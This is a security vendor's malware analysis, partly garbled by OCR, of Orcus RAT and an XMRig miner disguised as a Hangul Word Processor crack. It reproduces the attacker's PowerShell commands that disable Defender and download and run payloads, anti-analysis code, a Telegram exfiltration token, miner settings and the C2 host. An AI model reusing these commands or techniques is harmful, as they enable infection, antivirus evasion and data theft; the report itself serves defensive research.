Orcus RAT Being Distributed Disguised as a Hangul Word Processor Crack

sec asec.ahnlab.com/en/45462/

By Sanseo



The ASEC analysis team recently identified Orcus RAT being distributed on file-sharing sites disguised as a cracked version of Hangul Word Processor. The threat actor that distributed this malware is the same person that distributed BitRAT and XMRig CoinMiner disguised as a Windows license verification tool on file-sharing sites.[1] The malware distributed by the threat actor has a similar form as those of the past, except for the fact that Orcus RAT was used instead of BitRAT. Furthermore, the new malware is highly more sophisticated than the past versions, considering the fact that it includes a complicated process to evade behavior detection by antivirus software and registers PowerShell commands on the task scheduler to periodically install the latest malware.

File-sharing sites are the main platform alongside torrents used by threat actors to distribute malware to Korean users. Registered users upload media files such as movies and TV series, as well as programs such as games and utilities, and also adult content. Other users can pay a set fee and download the uploaded files. The ASEC analysis team is monitoring malware being distributed via file-sharing sites and has shared information over multiple blog posts in the past.[2] [3] [4]

Unlike cases of malware distributed randomly by various threat actors using malware that can easily be found on the internet, the threat actor that was distributing BitRAT and XMRig CoinMiner continues targeting Korean users, developing their malware themselves and making attempts to evade AhnLab's V3 products. Additionally, a cracked version of BitRAT has not yet been found, which shows us that although the threat actor develops the malware themselves, the latest malware strains are sometimes purchased.

Orcus RAT is a Remote Access Trojan malware that has been sold since around 2016.[5] Orcus Technologies, which developed this program, described this as a remote administration tool when selling the software, but as to be covered later on, it includes not only the remote control feature, but also malicious features such as keylogging, collecting webcam and account information, and executing commands. Accordingly, there has been a news article about Canadian authorities raiding the developers in 2019.[6]

Like other RAT malware, there is a cracked version of the Orcus RAT, and thus various threat actors are taking advantage of this in their attacks. In this post, we will summarize the process from the initial distribution method where the threat actor induces the user to install the malware, to ultimately having Orcus RAT and XMRig CoinMiner installed.

1. Distribution Method

The malware that installs Orcus RAT and XMRig CoinMiner is uploaded to multiple file-sharing sites under the disguise of a crack for Hangul Word Processor 2022. Hangul Word Processor is a major Korean word processing program like Microsoft Office Word.

January 13, 2023



Figure 1. Malware uploaded to a file-sharing site

When the downloaded compressed file is decompressed, we can see a folder named "install" and a program named "install.exe". This "install.exe" file is the malware, and running this will execute an obfuscated PowerShell command and run the actual installer program in the "install" folder.



2. Installer

Like other compressors, 7z supports SFX formats. Upon compressing a file using this format, .exe executable is created instead of .zip or .z compressed file. This is often used in installation programs because of its convenience, like its ability to let the creator install programs to the path of their choice simply by running the file. Not only does 7z SFX allow the installation of the included files, but it also has an additional feature. If this feature is used, a specific command can be executed during the installation process.

The following is the installation script of "install.exe" (7z SFX). Besides the feature that runs the actual installer program, it also includes encoded PowerShell commands. The malware copies the original PowerShell program to the current installation directory under the name of the original program, "VC_redist.x86.exe" and uses this to run the encoded PowerShell commands. Going through this process instead of directly running PowerShell seems to be an attempt to evade behavior detection by antivirus software.

| 1 | @Install@!UTF-8! |
|-------|--|
| 2 | GUIMode="2" |
| З | RunProgram="\"%%S\\Install\\Setup.exe\"" |
| 4 | RunProgram="hidcon:cmd.exe /c copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /y VC redist.x86.exe" |
| 5 | RunProgram="forcenowait:hidcon:VC redist.x86.exe -enc QOBkAGOALOBNAHAAUAByAGUAZgBIAHIAZOBUAGMAZOAgACØAVABOAHIAZOBHAHO_ |
| 6 | RunProgram="\"%%\\Install\\HOffice2022Update 20221102.exe\" /silent" |
| 7 | Delete="C:\\Program Files (x86)\\HNC\\Office 2022\\HOffice120\\Bin\\UxXml\\Hancom2016\\Common\\Image\\ko-kr\\ci.png" |
| 8 | ;This SFX archive was created with 7z SFX Builder v2.1. (http://sourceforge.net/projects/s-zipsfxbuilder/) |
| 9 | ;!@InstallEnd@!7z |
| 10 | |
| Inst | allation script of the 7z SFX portable executable |
| Dec | oding the encoded PowerShell command reveals the following. First with the "Add-MnPreference" command, certain process names and |
| Dee | gine en overen en avede eleveren elev |
| pau | is are set as exceptions to evade detection by windows Detender Antivirus. While this is a commonly used method, the threat actor also |
| inclu | udes a process of allowing threats detected by Windows Defender. |
| 1 | Add-MpPreference -ThreatIDDefaultAction Ids 251873 -ThreatIDDefaultAction Actions Allow -Force; |
| 2 | Add-MpPreference -ThreatIDDefaultAction Ids 2147831456 -ThreatIDDefaultAction Actions Allow -Force; |
| 3 | Add-MpPreference -ThreatIDDefaultAction Ids 2147814523 -ThreatIDDefaultAction Actions Allow -Force; |
| 4 | Add-MpPreference -ThreatIDDefaultAction Ids 2147814524 -ThreatIDDefaultAction Actions Allow -Force; |
| 5 | Add-MpPreference -ThreatIDDefaultAction_Ids 2147735503 -ThreatIDDefaultAction_Actions Allow -Force; |
| 6 | Add-MpPreference -ThreatIDDefaultAction_Ids 2147831456 -ThreatIDDefaultAction_Actions Allow -Force; |
| 7 | Add-MpPreference -ExclusionProcess 'software_reporter_tool.exe'; |
| 8 | Add-MpPreference -ExclusionPath 'C:\Windows\Temp'; |
| 9 | <pre>mkdir 'C:\ProgramData\Google';</pre> |
| 10 | (New-Object System.Net.WebClient).DownloadFile('https://docs.google.com/uc?export=download&id=1NRseY51tBvxQP3JrMHNjRHoyiCZr05', |
| | 'C:\ProgramData\Google\7z.dll'); |
| 11 | (New-Object System.Net.WebClient).DownloadFile('https://docs.google.com/uc?export=download&id=12doa1DI05pLf07wCdlCIS1NeVc6scLtJ', |
| | 'C:\ProgramData\Google\7z.exe'); |
| 12 | (New-Object System.Net.WebClient).DownloadFile('https://docs.google.com/uc?export=download&id=1GWm1TFpqTxungXVH0vlktkat5HilyB0]', |
| | 'C:\Windows\Temp\software_reporter_tool.png'); |
| 13 | <pre>cmd.exe /c 'C:\ProgramData\Google\7z.exe' x -oC:\Windows\Temp\ C:\Windows\Temp\software_reporter_tool.png -px -y;</pre> |
| 14 | C:\Windows\Temp\software_reporter_tool.exe |
| 15 | |
| L: au | Ire 4. Deceded DewerShell command |

Figure 4. Decoded PowerShell command

Afterward, it downloads files uploaded to Google Docs. Instead of directly downloading and installing the malware, the threat actor installs it by first installing the 7z files, "7z.exe" and "7z.dll", before downloading a compressed file, giving it the password "x", and decompressing then running it. This is also seen as an attempt to evade behavior detection by antivirus software.

3. Downloader

The initially installed malware is a downloader, and according to the set conditions, it installs different types of malware. The following is a diagram showing the general flow.



Malware Infection Flow

The malware that is installed initially checks for a virtual machine environment and if the "asdmon" process is running, and if it is determined to be an analysis environment, it is terminated. Afterward, it checks if an anti-malware software is currently installed, and its scan targets include AhnLab V3 ("v3l4sp", "V3UI", "v3csp") and Naver Antivirus ("Nsavsvc.npc").

```
static void Main()
          trv
                       if (Process.GetProcessesByName("asdmon").Length != 0)
                                 Environment, Exit(0);
                      string text = ClassO.fn_checkDisplay("Description");
                       if (text == "" II text == "Intel HD Graphics" II text == "AMD Radeon HD Series" II text == "AMD Radeon Series" II
                           text == "NVIDIA Quadro" II text == "Radeon (TM) HD" II text.Contains("VirtualBox") II text.Contains("Basic") II
                           text.Contains("Standard") || text.Contains("ASPEED") || text.Contains("Hyper-V") || text.Contains("VMware"))
                                Environment.Exit(0);
                                                                                                                                                                                                                                                                                                                                                         Figure 6. Main
                      string text2 = "#ud83d#udd0a " + Class0.smethod_5() + "-221231#n1□ ";
                      string text3 = "\n2[] ";
                      string text4 = "\mainstring text4 = "\maining text4 = "\mainstring text4
                      string text5 = "\n4[] ";
                      if (Directory.Exists("C:##Windows##SysWOW64"))
                                  Process[] processesByName = Process.GetProcessesByName("v3l4sp");
                                  Process[] processesByName2 = Process.GetProcessesByName("V3UI");
                                  Process[] processesByName3 = Process.GetProcessesByName("v3csp");
                                  Process[] processesByName4 = Process.GetProcessesByName("Nsavsvc.npc");
                                  if (processesByName.Length == 0 && processesByName2.Length == 0 && processesByName3.Length == 0 &&
                                       processesByName4.Length == 0)
```

function of the downloader malware

Before moving on to the installation process, the malware collects basic information such as the infected system's username and IP address and transmits this information via Telegram API.

| Result | Protocol | Host | URL | Get Started 🖄 Statistics 👯 Inspectors 🖌 AutoResponder 📝 |
|--------|----------|------------------|--|---|
| 200 | HTTPS | api.telegram.org | /bot5538205016:AAH7S9IGtFpb6RbC8W2TfNkgD7Cj_3qxCnI/sendMessage | Headers TextView SyntaxView WebForms HexView A - JSON - chat_id=-1001544634248 - text=@ H2022- Expand All Collapse JSON parsing completed. Transformer Headers TextView SyntaxView ImageView - JSON - ok=True - result - id=-1001544634248 - title=X_X - title=X_X |

7. Transmittal of the collected information via Telegram API

When all of the above processes are complete, it then copies the PowerShell executable to "C:\ProgramData\KB5019959.exe" and uses this file. The PowerShell commands executed according to whether or not V3 is installed are mostly similar. The difference is that when V3 is installed, XMRig CoinMiner is installed, and if V3 is not installed, a second downloader malware is installed.

(New-Object System.Net.WebClient).DownloadFile('https://docs.google.com/uc?export=download&id=1NRseY51tBvxQP3JrMHNjRHoyiCZrO5-_', 'C:\ProgramData\Google\7z.dll');

(New-Object System.Net.WebClient).DownloadFile('https://docs.google.com/uc?export=download&id=12doa1DI05pLf07wCdlCIS1NeVc6scLt1', 'C:\ProgramData\Google\7z.exe');

(New-Object System.Net.WebClient).DownloadFile('https://docs.google.com/uc?export=download&id=1T3Kp_aH5-D8F50S1qv40IPIUXoz3orh4', 'C:\ProgramData\GoogleUpdate.png');

cmd.exe /c 'C:\ProgramData\Google\7z.exe' x -oC:\ProgramData\Google\ C:\ProgramData\Google\GoogleUpdate.png -px -y;

(New-Object System.Net.WebClient).DownloadFile('https://docs.google.com/uc?export=download&id=1FgV6vUZZX3XkERFlXDpKQHoo8qYL9r4z', 'C:\Windows\Temp\.xml');

cmd.exe /c schtasks /create /xml "C:\Windows\Temp\.xml" /tn "Microsoft\Windows\Google\GoogleUpdateTask" /f;

cmd.exe /c del "C:\Windows\Temp\.xml";

cmd.exe /c attrib +h +S "C:\ProgramData\Google"

Start-Sleep -Seconds 10;

(New-Object System.Net.WebClient).DownloadFile('https://docs.google.com/uc?export=download&id=1N75CXe7da3gN7DW2eM4X0w1Rb9XJr7Mx', 'C:\ProgramData\Google\software_reporter_tool.png');

cmd.exe /c 'C:\ProgramData\Google\7z.exe' x -oC:\ProgramData\Google\ C:\ProgramData\Google\software_reporter_tool.png -px -y; C:\ProgramData\Google\software_reporter_tool.exe

Figure 8. A command that installs additional malware from Google Docs

Out of the files installed, 7z is the same as the one covered above, and the "GoogleUpdate.exe" file is a tool called NirCmd from NirSoft. NirCmd is a command line tool that offers various features. With just simple commands, it can perform behaviors such as capturing screenshots, emptying the recycle bin, and device control.

NirCmd v2.86 Copyright (c) 2003 - 2019 Nir Sofer

See Also

- SoundVolumeView Display, change, mute, unmute the volume level of sound components on Windows 10/7/8/2008 from command line or GUI.
- NK2Edit Edit, merge and fix the AutoComplete files (.NK2) of Microsoft Outlook.

Description

NirCmd is a small command-line utility that allows you to do some useful tasks without displaying any user interface. By running NirCmd with simple command-line option, you can write and delete values and keys in the Registry, write values into INI file, dial to your internet account or connect to a VPN network, restart windows or shut down the computer, create shortcut to a file, change the created/modified date of a file, change your display settings, turn off your monitor, open the door of your CD-ROM drive, and more...

Examples of what you can do with NirCmd

| Open the door of J: CD-ROM drive | nircmd.exe cdrom open j: |
|--|---------------------------|
| Close the door of Y: CD-ROM drive | nircmd.exe cdrom close y: |
| Speaks the text currently in the clipboard (For Windows XP/Vista/7/8). | speak text ~\$clipboard\$ |

Figure 9. NirCmd installed by the threat actor

It is deemed that the threat actor installs NirCmd in the infected system in order to evade behavior detection by antivirus software. The PowerShell command registered to the task scheduler is also run through NirCmd and a copy of the PowerShell executable. Examining the task scheduler file downloaded from Google Docs and registered in the system reveals that it uses "GoogleUpdate.exe" (NirCmd) to execute "Kb5019959.exe", a PowerShell command, as shown below. The registered tasks are PowerShell commands encoded in a similar way to the commands covered above, and they are responsible for installing XMRig or an additional downloader.

| 25 | | <pre><allowstartondemand>true</allowstartondemand></pre> |
|----|--------|---|
| 26 | | <enabled>true</enabled> |
| 27 | | <hidden>false</hidden> |
| 28 | | <runonlyifidle>false</runonlyifidle> |
| 29 | | <waketorun>false</waketorun> |
| 30 | | <executiontimelimit>PT0S</executiontimelimit> |
| 31 | | <priority>7</priority> |
| 32 | L L | <restartonfailure></restartonfailure> |
| 33 | | <interval>PT5M</interval> |
| 34 | | <count>3</count> |
| 35 | - | |
| 36 | - | |
| 37 | þ | <actions context="Author"></actions> |
| 38 | ¢. | <exec></exec> |
| 39 | | <command/> C:\ProgramData\Google\GoogleUpdate.exe |
| 40 | | <pre><arguments>exec hide C:\ProgramData\KB5019959.exe -enc YwBtAGQALgBlAHgAZQAgAC8AYwAgAGM</arguments></pre> |
| 41 | - | |
| 42 | ¢. | <exec></exec> |
| 43 | | <command/> C:\ProgramData\Google\GoogleUpdate.exe |
| 44 | | <pre><arguments>exec hide C:\ProgramData\KB5019959.exe -enc YwBtAGQALgBlAHgAZQAgAC8AYwAgAGM</arguments></pre> |
| 45 | - | |
| 46 | ¢ | <exec></exec> |
| 47 | | <command/> C:\ProgramData\Google\GoogleUpdate.exe |
| 48 | | <pre><arguments>exec hide C:\ProgramData\KB5019959.exe -enc YwBtAGQALgBlAHgAZQAgAC8AYwAgAGM</arguments></pre> |
| 49 | - | |

Figure 10. The task scheduler file that executes the PowerShell command

4. XMRig CoinMiner

The XMRig CoinMiner malware is installed under the name "software_reporter_tool.exe". It executes explorer.exe, a normal program, before injecting XMRig CoinMiner. This means that the actual mining behavior is performed in the explorer process. Additionally, it has the characteristic of giving the following encrypted string as an argument to the target explorer for injection before running it.

| Process | | | dwm.exe | 0.06 | 916 | | |
|---|--|---|-----------------------------|-----------|-----------|------------|------------------|
| Command line: | C:\Windows\Wexplorer.exe vxhnreevzovofj1 6E3sjfZq2rJQa | | ✓ → explorer.exe | 0.10 | 3236 | | |
| Current directory: | C:₩Windows₩ | | vmtoolsd.exe | 0.05 | 4840 | 684 B/s | |
| Information | | × | ProcessHacker.exe | 0.39 | 4196 | | |
| | | | n explorer.exe | 0.16 | 788 | | |
| C: \Windows \Wexp 6E3sjfZq2rJQaxvLF +02ImhDMVdSx0P +6BbKJyKFD6zdAaa ahJX3QIzD80msKR HIhD7RDcnRI2Oin +cr5nvKEpI,7WT4n XdkEDGRNetINLgS +SSIa025n3fnzwB +w4NsJtOqkrVPKE +568JVJI20tPey8 +TpDygYB/bQkZnv oTCCHEtWB86EbKN NOQ-RK5k210hW | lorer.exe vxhnreevzovofj1 mXgsA4f05t59pic9Xw+ ts/ktVbLPvgKUOWLosYbrY2pwtQQU1JTuikI\mZuGmV NcQqky2JJHSWRIHnss9X/nab3QoNVM/Ta0kPMjvUxJH02YjP5XrdviLou ft9Fc/3aHRX5nzuLKj6v aqnGRmc:1f7VBSryXdWQXUdRaex46bFg0DdbEVFMZ40pshLxALGam IINPkEJHQeFcvAIUbhNIMXNPzDVcQgwkbxH17h/12pwQlrQOxO9d/SeG GstjSuZw4u4jW58NINYp+dgeUO0fb icxLhf2bDuY8BDjnh3NOWL7J2IbGI Dy/px210DlQX/b0ikDp97hEyra66Em8bRK39J4UT nGiY12IDNd/4GFVvWUjgvZh39loRfUO0mIZeruKGy wPB2B2KSVuf/CamvA8lEqis5FNwn2neSp25Dv5DJvHtSi98fsMWeKVX 8VA5WchA/ILwEPbu1rCgqOzAcv/mYSE2JXKF6uO8De11/Osoddiv3ULNov 5727abiu4h97Cv0.hbv207WH37Ck5Ka4HsdChforakO | • | CPU Usage: 3.19% Physical n | nemory: 9 | 935.37 ME | 3 (45.70%) | Figure 11. XMRig |

CoinMiner that receives an encoded string as an argument

XMRig, seen to have been created by the threat actor, decodes the strings it receives as arguments in the initial routine. The overall options transmitted when XMRig is run are as follows.

-algo=rx/0

-url=xmr.2miners[.]com:12222

-user="4AKATTrazYSEKTQhqwmH1Z9tu2jqF1pLzSEsRbTx9oMSPsBEGNSxPoV89vTajjEd3vbNfWLZPwvrkWURhZ194osPKJ3wDbC" -pass=""

-cpu-max-threads-hint=30

-cinit-stealth-

targets="Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe,MSIAfterburner.exe,TsIGame.exe,TsIGame_SE.exe,C of Legends.exe,LOSTARK.exe,VALORANT.exe,Overwatch.exe,suddenattack.exe,javaw.exe,SC2_exe,SC2_x64.exe,DNF.exe,TekkenGame -cinit-stealth-fullscreen

-cinit-kill-targets="V3Lite_Setup.exe,V3Lite_Setup (1).exe,V3Lite_Setup (2).exe,Monitor.exe,openssl.exe,natsvc.exe,smmgr.exe,v_servie -cinit-version="2.5.0"

_tls

-cinit-idle-wait=1

-cinit-idle-cpu=100

-cinit-id="mijzwzakiitazgng"

Examining each option reveals that there are various settings including the mining pool address, user ID, and password. First, the "-cinitstealth-targets" option is used to designate management tools such as task manager, process hacker, and process explorer, so that when the user runs these, the mining process is halted, making it difficult for users to notice that CPU usage has increased. There are multiple other games that are also included, and the malware is set so that the mining process stops when the user is playing a game, in order to prevent the user from finding out.

The "-cinit-kill-targets" option has the V3 product designated in it, so that when the user installs V3, it force-closes it, hindering the malware treatment process. It also force-terminates grid-type PUP programs.

5. Orcus RAT

In the past, the threat actor installed XMRig in environments where V3 was installed, and BitRAT in other environments. However, it has recently been identified that Orcus RAT is being installed instead of BitRAT. Additionally, the following condition must also be met; Orcus RAT is only installed in environments that have Telegram or Visual Studio installed.

using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software###TelegramDesktop"))

using (RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Software##Microsoft##VisualStudio"))

if (registryKey != null || registryKey2 != null)

process.StartInfo.Arguments = "-enc UWBOAGEAcgBOACOAUWBSAGUAZQBWACAALQBTAGUAYWBYAG4AZABzACAAMgAWADSAKABOAGUAdwAtAE8AYgBqAGUAYWBOACAAUV

AR9BpAGwAZQAoACCA&ABOAHQACABZADoALwAvAGQAbwBJAHMAL9BnAG8AbwBnAGwAZQAuAGMAbwBtAC8AdQBJAD8AZQB4AHAAt KAUABQAFAARgBXADYANQB4ADEAQQBMAGSAOQBKAHUA&ABKADCARAANACWAJWBDADOAXABQAHIAbWBNAHIAYQBtAEQAYQBOAGEA

installing Orcus RAT

Figure 12. Condition for

| () Orcus.Commands.WindowManager () Orcus.Commands.WindowsCustomizer () Orcus.Commands.WindowsDrivers () Orcus.Commands.WindowsDrivers () Orcus.Config | 58 // Token: 0x0600028B RI 60 public static List <plug< td=""> 61 (100 % ~</plug<> | D: 651 RVA: 0x0000ADBC File Offset: 0x00008FBC sinSetting> GetPluginSettings(List <type> requiredTypes)</type> | | | | | |
|---|---|---|--|--|--|--|--|
| Consts @020000BF | Name | Value | | | | | |
| Settings @02000000 B Rase Type and Interfaces | Orcus.Config.Settings.ClientConfig.get retu | {Orcus.Shared.Client.ClientConfig} | | | | | |
| Derived Types | PluginResources | Count = 0x00000000 | | | | | |
| ♀ .cctor() : void @06000287 | 🔺 🖉 Settings | Count = 0x0000016 | | | | | |
| GetBuilderProperty() : T @0600028A | ▶ 	 [0] | {Orcus.Shared.Client.ClientSetting} | | | | | |
| GetDecryptedSettings(): string @06000. | ▷ 🥥 [1] | {Orcus.Shared.Client.ClientSetting} | | | | | |
| GetPluginSettings(List <type>) : List<plug< p=""></plug<></type> | ▶ | {Orcus.Shared.Client.ClientSetting} | | | | | |
| ClientConfig : ClientConfig @17000070 | ▶ | {Orcus.Shared.Client.ClientSetting} | | | | | |
| Mutex : string @17000071 | ▶ | {Orcus.Shared.Client.ClientSetting} | | | | | |
| _mutex : string @040004B0 | 4 🧉 [5] | {Orcus.Shared.Client.ClientSetting} | | | | | |
| settings : List <lbuilderproperty> @0400</lbuilderproperty> | 🔺 🔑 Properties | Count = 0x0000001 | | | | | |
| SettingsData @020000BE | ⊿ ⊘ [0] | {Orcus.Shared.Core.PropertyNameValue} | | | | | |
| Orcus.Connection | 🔎 Name | "IpAddresses" | | | | | |
| Orcus Connection Args | 🔺 🔑 Value | Count = 0x0000001 | | | | | |
| Crous Extensions | ▷ 🗢 [0] | {minecraftrpgserver.com:27036} | | | | | |
| V { } Orcus.Native | A Raw View | | | | | | |
| Orcus.Native.Display | Aaw View | | | | | | |
| Orcus.Native.Shell | 🏓 SettingsType | "Orcus.Shared.Settings.ConnectionBuilderProperty, Orcus.Shared" | | | | | |
| Orcus.Plugins | ▶ 	 [6] | {Orcus.Shared.Client.ClientSetting} | | | | | |

Figure 13. Settings data of the installed Orcus RAT

Like other RAT malware, Orcus RAT offers various features that let the treat actor control the infected system. The following is the Orcus RAT management tool, cracked and disclosed.

| | | | | ORCUS A | DMINISTRATION | PLUGINS SETTINGS | I 🕞 — | |
|-----------|----------------------|---------|-------------------|----------------------------|----------------------------------|--------------------|---------|---------|
| Buil | d Crowd Control Exce | eptions | Data Manager W | orld Map Statisti | cs Activity Plugins | | | |
| | | | | | | | 0 | ≡ ::: ≡ |
| ON | LINE USERNAME | | IP ADDRESS / LAST | SEEN ID | OPERATING SYSTEM | | COUNTRY | |
| Det | Log in | | | 293 | Č se salate ta | | | |
| 9 | Data | | | | | | | |
| 5 | Actions | | Client | Kill | | | | |
| ¢1 | Computer information | | System | Request Adn Password Re | iinistrator Privileges covery | | | |
| ð× | | | Fun 🕨 | Request Key | Log | | | |
| *0 | Move | , , | Create Task | Uninstall | | | | |
| | Move to new group | | | Update | | | | |
| ð | Clone settings | | | Update (Url) | | | | |
| < [0 × | | O] | 13 plugins loa | ded | | | | - |
| [03-0] | 1-2023 13:36:54.7834 | RECEIVE |] Conn | ection successful | | | | |
| [03-0 | 1-2023 13:36:54.7834 | RECEIVE |] Get p | | | | | |
| 103-01 | 1-2023 13:36:54.7834 | SEND] | | | | | | |
| T03-0. | 1-2023 13:36:54.8107 | RECEIVE | -] Auth | entication successful, | weicome! | | | |

Figure 14. Orcus RAT management tool

Orcus RAT has some differences from other simple types of RAT malware. Generally, RAT malware have the builder and management program like those shown above act as the C&C server. In the case of Orcus RAT, however, instead of directly establishing a connection to these management tools, it accesses the Orcus server. Thus, the management tools used by the threat actor to control the infected system and the Orcus server which acts as the C&C server are separate.

This is similar to the structure of Cobalt Strike's TeamServer. Orcus RAT communicates with the following Orcus server, and the Orcus management tools used by the threat actor also establish a connection to the Orcus server. This allows the operator to control the Orcus RATs connected to the Orcus server.

| Orcus Server | - 🗆 X | |
|---|--|------------------|
| 14:01:28,9221 [INFO] [ClientAcceptor5] Register client 14:01:28,9380 [INFO] [Server] Welcome - = = □n this server (CI-1) 14:01:25,2031 [INFO] [Administration] Administration AI-0 initializes session with client CI-1 | Status Is running: True Administrations: 1 Clients: 1 | |
| Server Start Stop Settings | Listeners 192, 168, 204, 131:443 | Figure 15. Orcus |
| Connections Disconnect all Disconnect clients Disconnect administrations | | |
| Password | | |
| ●●●● Change | | |
| Show | Add Remove | |

RAT's server

The following is a summary of the features offered by Orcus RAT. Orcus RAT can distinguish an infected system, and when "logged in" to the system, it allows the threat actor to use basic control features such as collecting system information, file/registry/process tasks, and executing commands.

| | | ORCUS ADM | MINISTRATION | PLUGIN | s settings | G+ | |
|--------|--|--|------------------|---|--------------|--------------|--------------|
| Build | Crowd Control Exceptions Da | ata Manager World Map Statistics | Activity Plugins | | | | |
| € | CLIENT Control Commands Config Drop & Execute Exception Test Plugins Reverse Proxy INFORMATION Active Connections Clipboard Computer Passwords | System Change Computer State Change Desktop Wallpaper Download and Execute Download and Execute from Url Execute file Open Website Client Kill Password Recovery Request Administrator Privileges Request Key Log Uninstall Download a file from an url and execute | | Inon ments inload URL ite using Service Fals theck lash | se | | |
| | Passwords Performance | Download a file from an url and execute | ıt | | | | SEND |
| Figuro | 16. Pagia avatam control factu | roa offered by Oreus BAT 1 | | | | | |
| ligure | To: Dasic system control lead | | MINISTRATION | PLUGIN | s settings | | |
| Build | Crowd Control Exceptions Da | ata Manager World Map Statistics | Activity Plugins | | | | |
| € | SYSTEM Console Device Manager Drivers config Event Log File Explorer Programs Registry Startup Manager System Restore Task-Manager Volume Control Window Manager Windows Customizer | HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_CONFIG | NAME | TYPE | DATA | Figure 17. E | 3asic system |

control features offered by Orcus RAT - 2

Besides these, Orcus RAT also supports remote desktop, keylogging, webcam control, and RDP control feature. The RDP control feature involves installing RDP Wrapper and creating an account named "OrcusRDP". Afterward, the threat actor can use this account to log in remotely.



Account created after RDP Wrapper

Because Orcus RAT by default uses the TLC protocol in communications with the C&C server, packets are encrypted. The following is a packet in communication between the Orcus RAT used in attacks and the C&C server. Here, we can see that the "Orcus Server" string used in the certificate remains.

| Strea | m Conter | nt | | | | | | | | | | | | | | | | | | | | | | | | | | | |
|-------|----------|-----|----|------|------|----|----|------|----|----|----|----|------|----|-----|----|------|------|--------------|------|--------|--------------|-----------|-------|---------|-------|---------|-----------|---|
| 000 | 00000 | 16 | 03 | 01 (| 00 | 6e | 01 | 00 (| 00 | 6a | 03 | 01 | 63 I | b1 | 46 | 64 | 29 | | . n | 1 | c.Fd) | | | | | | | | |
| 000 | 00010 | 08 | 1b | df 9 | 97 | 54 | 25 | 75 I | b3 | 22 | Of | 54 | 89 | 68 | 93 | ac | 16 | | . T%u. | ".т | .h | | | | | | | | |
| 000 | 00020 | 92 | 06 | e6 7 | 7e | e4 | c9 | 98 | 7e | ff | d2 | 72 | 00 | 00 | 18 | 00 | 2f | | ~~ | r | / | | | | | | | | |
| 000 | 00030 | 00 | 35 | 00 0 | 05 | 00 | 0a | c0 : | 13 | C0 | 14 | C0 | 09 | c0 | 0a | 00 | 32 | . 5. | | | 2 | | | | | | | | |
| 000 | 00040 | 00 | 38 | 00 1 | 13 1 | 00 | 04 | 01 (| 00 | 00 | 29 | 00 | 00 | 00 | 0c | 00 | 0a | . 8. | | .). | | | | | | | | | |
| 000 | 00050 | 00 | 47 | 00.1 | | ~~ | | 00 | | 01 | 00 | 00 | 47. | | 00 | ++ | 01 | | | | | | | | | | | | |
| 000 | 00060 | 00 | 1/ | 00 1 | 18 | 00 | du | 00 0 | 02 | 01 | 00 | 00 | 1/ 1 | 00 | 00 | TT | 01 | | | | | | | | | | | | |
| 000 | 00070 | 000 | 16 | 00 | 01 | 02 | 05 | 02 | 00 | 00 | 51 | 02 | 01 | 62 | h1 | 46 | 62 | f6 | | | 0 6 1 | Ec | | | | | | | |
| | 000000 | 010 | 80 | 22 | 31 | gh | 50 | 22 | 66 | 34 | fr | 95 | 4.2 | 29 | 50 | fo | 93 | Sd | | P 4 | 1 P | - i | | | | | | | |
| | 00000 | 020 | 20 | fo | 20 | 2h | c0 | 78 | hh | 90 | 51 | h1 | R | 20 | f7 | 1f | 00 | 00 | + | ¥. | 0.7 | | | | | | | | |
| | 00000 | 030 | 64 | b2 | 6a | 64 | a8 | e8 | aa | f3 | aa | 90 | 6d | 47 | 92 | f2 | ed | 71 | d. id | | mG | | E: 40 | | - | AT1 0 | | | |
| | 00000 | 040 | 66 | 7e | 26 | dc | a2 | 64 | a1 | d3 | d2 | 44 | d6 | ec | c0 | 14 | 00 | 00 | f~&. | . d | . D | | Figure 19 | 9. OI | rcus R/ | ALSC | ,&C com | municatio | n |
| | 00000 | 050 | 09 | 00 | 17 | 00 | 00 | ff | 01 | 00 | 01 | 00 | 0b | 00 | 01 | bc | 00 | 01 | | | | | | | | | | | |
| | 00000 | 060 | ba | 00 | 01 | b7 | 30 | 82 | 01 | b3 | 30 | 82 | 01 | 10 | a0 | 03 | 02 | 01 | | 0 | 0 | | | | | | | | |
| | 00000 | 070 | 02 | 02 | 10 | 33 | 1b | ae | 04 | 56 | 70 | 32 | ad | 42 | 70 | 8e | 2 1b | da | 3 | v | p2.B . | | | | | | | | |
| | 00000 | 080 | cf | 39 | 60 | 30 | 0d | 06 | 09 | 2a | 86 | 48 | 86 | f7 | 0d | 01 | . 01 | 05 | .9'0 | * | . H | | | | | | | | |
| | 00000 | 090 | 05 | 00 | 30 | 1/ | 31 | 15 | 30 | 13 | 06 | 03 | 55 | 04 | 03 | 13 | 0C | 4† | 0. | 1.0. | | • • <u>0</u> | | | | | | | |
| | 00000 | 0AU | 72 | 03 | / 5 | 73 | 20 | 23 | 00 | 72 | 20 | 20 | 20 | 30 | 1.0 | | 00 | 32 | rcus 1101 | Ser | veru . | 2 | | | | | | | |
| | 00000 | 060 | 25 | 27 | 21 | 27 | 39 | 20 | 22 | 30 | 20 | 30 | 20 | 20 | 10 | 20 | 17 | 21 | 5212 | 1015 | 0002. | . 20 | | | | | | | |
| | 000000 | 000 | 15 | 30 | 13 | 06 | 03 | 55 | 04 | 03 | 13 | 00 | 1f | 72 | 63 | 75 | 73 | 20 | 0 | 1913 | 000020 | 115 | | | | | | | |
| | 00000 | OFO | 53 | 65 | 72 | 76 | 65 | 72 | 30 | 81 | 9f | 30 | b0 | 06 | 09 | 22 | 86 | 48 | Serv | er0. | .0 | *.н | | | | | | | |
| | 00000 | OFO | 86 | f7 | 0d | 01 | 01 | 01 | 05 | 00 | 03 | 81 | 8d | 00 | 30 | 81 | 89 | 02 | | | 0. | | | | | | | | |
| | 00000 | 100 | 81 | 81 | 00 | 94 | 7c | e6 | 4c | 97 | bc | 28 | 8e | 17 | 66 | 52 | C4 | 8d | | .L. | . (fi | R | | | | | | | |
| | 00000 | 110 | 14 | 32 | 72 | 73 | b4 | c6 | 97 | 46 | a2 | a8 | 2a | e9 | 20 | e3 | 69 | fa | .2rs | F | * | . i. | | | | | | | |

packet

Conclusion

As malware is being distributed actively via Korean file-sharing sites, users need to take caution. Users must be wary when running executables downloaded from file-sharing sites, and it is recommended to download products such as utility programs and games from their official websites. Users should also apply the latest patch for OS and programs such as internet browsers, and update V3 to the latest version to prevent malware infection in advance.

File Detection

- Dropper/Win.Androm.C5347183 (2023.01.01.01)
- Downloader/JOB.Generic (2023.01.02.02)
